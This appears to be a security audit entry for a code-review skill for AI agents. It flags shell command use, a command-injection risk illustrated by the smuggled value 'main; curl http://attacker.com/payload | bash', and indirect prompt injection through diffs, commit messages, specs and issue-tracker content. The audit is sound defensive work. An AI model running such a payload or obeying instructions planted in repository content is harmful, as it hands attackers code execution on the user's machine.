The Agent Skills Directory

[COMMAND_EXECUTION]: The skill instructs the agent to execute several shell commands, including git diff, git log, and git rev-parse. While these are standard for code review, they represent a significant capability for an agent to interact with the local operating system.
[REMOTE_CODE_EXECUTION]: There is a potential for command injection. The instructions direct the agent to 'Capture the diff command once: git diff ...HEAD' and 'confirm the fixed point resolves (git rev-parse )'. If a user provides a malicious string as the <fixed-point> (e.g., main; curl http://attacker.com/payload | bash), and the agent executes this in a standard shell environment without strict sanitization, it could lead to arbitrary code execution.
[PROMPT_INJECTION]: The skill is susceptible to Indirect Prompt Injection (Category 8):
- Ingestion points: The skill reads untrusted data from git diff (code changes), git log (commit messages), repository files (specs, documentation), and external content fetched from an issue tracker.
- Boundary markers: The sub-agent prompts for 'Standards' and 'Spec' do not include delimiters or instructions to ignore embedded commands within the diffs or specs being analyzed.
- Capability inventory: The skill has the capability to execute shell commands (git) and access the file system.
- Sanitization: There is no evidence of sanitization or filtering applied to the external content before it is processed by the sub-agents or interpolated into their prompts.

code-review